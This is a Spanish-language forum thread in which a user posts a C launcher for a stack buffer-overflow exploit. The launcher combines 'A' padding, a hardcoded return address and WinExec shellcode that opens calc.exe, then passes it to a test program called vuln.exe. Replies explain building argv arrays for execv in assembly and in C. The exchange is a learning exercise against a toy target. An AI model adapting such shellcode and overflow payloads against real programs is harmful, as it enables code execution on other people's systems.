Hola a todos estoy haciendo una shellcode:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[] = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
strcat(relleno,offset);
strcat(relleno,exploit);
argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;
execv ("vuln.exe",argv);
}
Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.
El paramétro argc te dice cuantos parámetros se han pasado al programa.
Por cierto:
argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;
Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).
Te dejo un ejemplo en ASM, creo que es lo que pretendes hacer.
pushq %rax
pushw $0x6c2d
pushq %rsp
popq %rcx
movq $0x736c2f6e69622f, %rbx
pushq %rbx
pushq %rsp
popq %rdi
pushq %rax ; argv[2] = NULL
pushq %rcx ; argv[1] = "-l" su direccion, o en tu caso relleno.
pushq %rdi ; argv[0] = "/bin/ls"
pushq %rsp
popq %rsi
movb $0x3b, %al
syscall
Cualquier duda ya sabes.
Un saludo.
hola cp2....pasarias un buen libro o tutorial de asm :)
.:UND3R:. te dejo dos en C.
char *ls[] = { "/bin/ls", "-l", NULL };
execv (ls[0], ls);
Tú caso sería este.
char *vuln[] = { "vuln.exe", relleno, NULL };
execv (vuln[0], vuln);
Pero es más eficiente el de ASM.
Cita de: flony en 18 Junio 2013, 03:54 AM
hola cp2....pasarias un buen libro o tutorial de asm :)
Cualquier libro ya esta bien, y luego ir tirando con los manuales de instrucciones.
Un saludo.
Cita de: .:UND3R:. en 18 Junio 2013, 01:14 AMcómo podría crear mi propio arreglo con distintos tipos de datos
No se puede, todos los elementos del arreglo han de ser del mismo tipo de variables. Lo que puedes hacer es crearte una estructura y ahi si puedes combinar distintos tipos de variables.